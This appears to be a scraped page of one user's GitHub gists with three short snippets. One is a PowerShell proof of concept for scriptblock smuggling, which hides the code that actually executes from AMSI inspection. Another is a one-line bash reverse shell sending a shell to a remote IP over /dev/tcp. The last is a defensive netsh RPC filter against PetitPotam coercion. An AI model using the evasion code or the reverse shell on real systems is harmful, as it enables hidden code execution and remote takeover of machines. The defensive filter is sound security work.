k4nfr3
/ gist:b6a54bdd647273a3261c8c2bc34a9c24
Created
June 18, 2024 11:36
Powershell Scriptblock smuggling (AMSI ) from https://bc-security.org/scriptblock-smuggling/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast | |
| $ExecutedAst = [ScriptBlock]::Create("Write-Output 'My Hidden Hello Hidden'").Ast | |
| $Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,$null,$null,$null,$ExecutedAst.EndBlock.Copy(),$null) | |
| $Sb = $Ast.GetScriptBlock() | |
| $Sb& |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| bash -i >& /dev/tcp/192.168.1.23/6666 0>&1 |
k4nfr3
/ gist:9808709a83b9a56376ba92c332205ef0
Created
January 23, 2025 14:13
RPC Filter against Coercer (petitPotam)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| netsh | |
| rpc filter | |
| add rule layer=um actiontype=block | |
| add condition field=if_uuid matchtype=equal data=12345678–1234-ABCD-EF00–0123456789AB | |
| add filter | |
| add rule layer=um actiontype=block | |
| add condition field=if_uuid matchtype=equal data=c681d488-d850–11d0–8c52–00c04fd90f7e |
OlderNewer